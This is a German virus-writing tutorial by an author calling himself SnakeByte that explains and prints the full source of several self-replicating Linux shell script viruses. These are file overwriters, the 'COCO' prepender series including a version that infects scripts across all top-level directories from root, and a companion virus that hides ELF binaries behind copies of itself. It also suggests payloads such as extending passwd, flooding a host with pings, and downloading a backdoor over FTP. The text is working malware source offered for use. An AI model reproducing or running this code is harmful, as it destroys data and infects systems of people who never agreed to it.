Linux Shell Script Viren by SnakeByte [ SnakeByte@kryptocrew.de ] www.kryptocrew.de/snakebyte Immer wieder hört man von Linux Fanatikern, das es keine Linux Viren gibt. Nach einer längeren Diskussion, sehen diese dann meistens ein, das es welche gibt, nur das diese sich schwerer verbreiten können, das Linux die Zugriffsrechte und ähnliches auf Dateien strenger behandelt als Dos oder Windows 9x ( welche Zugriffsrechte *g* ). Zwar gibt es auch ELF Viren, die Exploits mit sich schleppen um Root Status zu bekommen, aber hier werde ich erstmal auf ganz einfache, Viren für Linux eingehen, die durchaus in der Lage sind sich effektiv zu verbreiten. Meiner Ansicht nach, werden Viren für Linux ein ähnliches Problem werden wie für Dos / Windows, da sich auch hier der Kommerz und mit ihm die Dau's breitmachen. Wo es Dau's gibt, gibt es schlecht konfigurierte Systeme und wo es die gibt, bleibt immer Platz für einen Virus. Ein weiterer Grund, warum ich auf Shell Script Viren eingehe und nicht auf ELF Infektoren, ist, das sie neben ihrer Einfachheit auch zu den meisten Unix'en kompatibel sein dürften, da die BASH eine der am häufigsten genutzten Shells ist. ( Inwiefern Bash Shellscript zu einer C oder sonstigen Shell kompatibel ist, weiß ich allerdings nicht.. ) Shell Scripte lassen sich mit den Batch Dateien von Dos oder den VB Script Dateien unter Windows vergleichen. Sie erlauben das Ausführen von Routinetätigkeiten durch Programme, die vom Betriebssystem ( oder eben der Shell ) interpretiert werden. Im Gegensatz zu Dos trifft man unter Linux relativ häufig auf Shell Scripte. Shell Scripte sind zum Beispiel : /etc/profile, /etc/csh.cshrc, Dateien in /etc/rc.d Dateien zum Konfigurieren der Firewall, etc, ... Für die die sich nicht mit Linux auskennen : mit 'vi' kann man wunderbar Textdateien editieren ( glaubt keinem, der meint emacs oder joe wären besser *g* ) und mit 'chmod +rwxrwxrwx' gibt man allen Gruppen Lese, Schreib und Ausführungs- Rechte für eine Datei. Über den Dateinamen kann man nun die Datei starten. ( eventuell noch ein ./ vor den Dateinamen hängen ) Dies gibt einem Shell Script Virus eine breite Bandbreite an möglichen Opfern. Sehen wir uns doch einmal die simpelste Form eines Shell Script Viruses an : #Overwritter I for file in * do cp $0 $file done Dieses nur paar Zeilen lange Shell Script kopiert sich selber über alle Dateien, die es findet. Natürlich bringt so etwas eine Menge Datenverlust mit sich und dürfte relativ schnell auffallen, also müssen wir das Ganze geschickter anstellen : #Overwritter II for file in * do if test -f $file then if test -x $file then if test -w $file then if grep -s echo $file >.mmm then cp $0 $file fi; fi; fi; fi; fi done rm .mmm -f Hier machen wir ein paar extra Tests, bezüglich der Datei, die der Virus überschreibt. Zuerst testen wir ob es eine Datei ist, dann ob sie ausführbar ist und danach wird geprüft ob wir Schreibzugriff haben. Sind alle diese Kriterien erfüllt, dann durchsuchen wir die Datei nach dem echo Befehl. Ist dieser enthalten, können wir sicher sein, das wir eine Shell Script Datei infizieren. ( Da dadurch leider viele Shell Scripte übergangen werden, kann man das eventuell auch über den "file" Befehl regeln : if file $file | grep -s 'Bourne shell script' > /dev/nul ; then ). Da nach dem Überschreiben eine solches Script nicht mehr die Funktion erfüllt, für die es vorgesehen war, sollten wir uns etwas anderes ausdenken, um unseren Virus in die Datei zu pflanzen. Der folgende Code ist ein Prepender, den ich vor ca. 2 Jahren geschrieben habe um zu sehen ob so etwas machbar ist. # COCO head -n 24 $0 > .test for file in * do if test -f $file then if test -x $file then if test -w $file then if grep -s echo $file >.mmm then head -n 1 $file >.mm if grep -s COCO .mm >.mmm then rm .mm -f else cat $file > .SAVEE cat .test > $file cat .SAVEE >> $file fi; fi; fi; fi; fi done rm .test .SAVEE .mmm .mm -f Das # COCO dient dazu, das der Virus erkennt, ob eine Datei bereits infiziert ist. ( if grep -s COCO .mm >.mmm überprüft dies ). Danach wieder die bereits bekannten Tests, ob die Datei ein potentielles Opfer ist. Ist die Datei nicht infiziert, dann kopieren wir sie in eine zweite, versteckte Datei (.SAVEE). Nun ersetzen wir die Zieldatei mit den ersten 24 Zeilen unserer Shell Script Datei, die wir vorher in .test gespeichert haben. ( Die ersten 24 Zeilen sind genau unser Virus ) Nun hängen wir noch die Originaldatei an (cat .SAVEE >> $file ) und die Infektion ist kompeltt. Nun räumen wir noch alle Dateien auf, die wir während der Infektion erstellt haben. Nun können wir den Virus auch noch in zweierlei Hinsicht optimieren. Zum Einen in der Anzahl der Zeilen, zum Anderen in der Anzahl der verwendeten Dateien. ( So oder so ähnlich sah die optimierte Version COCO 2 aus, die Anthraxx mal verbesserte, ich habe die Version von ihm leider nicht mehr ) # COCO ( 2 ? ) for file in * ; do if test -f $file && test -x $file && test -w $file ; then if grep -s echo $file > /dev/nul ; then head -n 1 $file >.mm if grep -s COCO .mm > /dev/nul ; then rm .mm -f ; else cat $file > .SAVEE head -n 13 $0 > $file cat .SAVEE >> $file fi; fi; fi done rm .SAVEE .mm -f Hier brauchen wir nur noch 2 Dateien und 13 Zeilen Code. Natürlich könnte man durch zusammenlegen mehrerer Zeilen das Ganze in eine quetschen, aber dann ist der Code total unlesbar und deshalb werde ich hier darauf verzichten. Was brauch ein Virus noch, damit er effektiv ist ? Er sollte nicht nur das momentane Verzeichnis infizieren, sondern auch andere. Man kann zum Beispiel in allen Verzeichnissen, die direkt über dem Root Verzeichnis liegen, nach Shell Scripten suchen ( etc, bin, sbin.. ) In diesem Beispiel speichern wir zuerst das aktuelle Verzeichnis, das in der Variable $pwd festgehalten wird. Danach suchen wir vom Root Verzeichnis aus, alle Verzeichnisse. Nun wechseln wir in das entsprechende Verzeichnis, infizieren alle Shell Scripte und wechseln wieder zum Root Verzeichnis. Am Ende stellen wir wieder das Originalverzeichnis her und räumen auf. # COCO 3 xtemp=$pwd head -n 22 $0 > /.test for dir in /* ; do if test -d $dir ; then cd $dir for file in * ; do if test -f $file && test -x $file && test -w $file ; then if grep -s echo $file > /dev/nul ; then head -n 1 $file > .mm if grep -s COCO .mm > /dev/nul ; then rm .mm -f ; else cat $file > /.SAVEE cat /.test > $file cat /.SAVEE >> $file fi; fi; fi done cd .. fi done cd $xtemp rm /.test /.SAVEE .mm -f An sich schonmal nicht schlecht für so etwas simples wie ein Shell Script, oder ? Natürlich könnte man nun anfangen gezielt nach Verzeichnissen suchen, einen Payload einzubauen ( Message, passwd erweitern *g*, Dauerping auf irgendeinen Rechner starten, per FTP eine Backdoor runterladen und starten, etc... ), aber hier will ich es dabei belassen. Was mit Sicherheit auch möglich ist, ist den Virus über Mail an andere Rechner zu schicken ( Sendmail und Co kann man wohl auch über Kommandozeile starten ) aber solange die Mehrheit Windows benutzt, wird dies wohl nicht sehr effektiv sein. Um die Sache rund zu machen, hier noch ein Compagnion Virus : # Compagnion for file in * ; do if test -f $file && test -x $file && test -w $file ; then if file $file | grep -s 'ELF' > /dev/nul ; then mv $file .$file head -n 9 $0 > $file fi; fi done .$0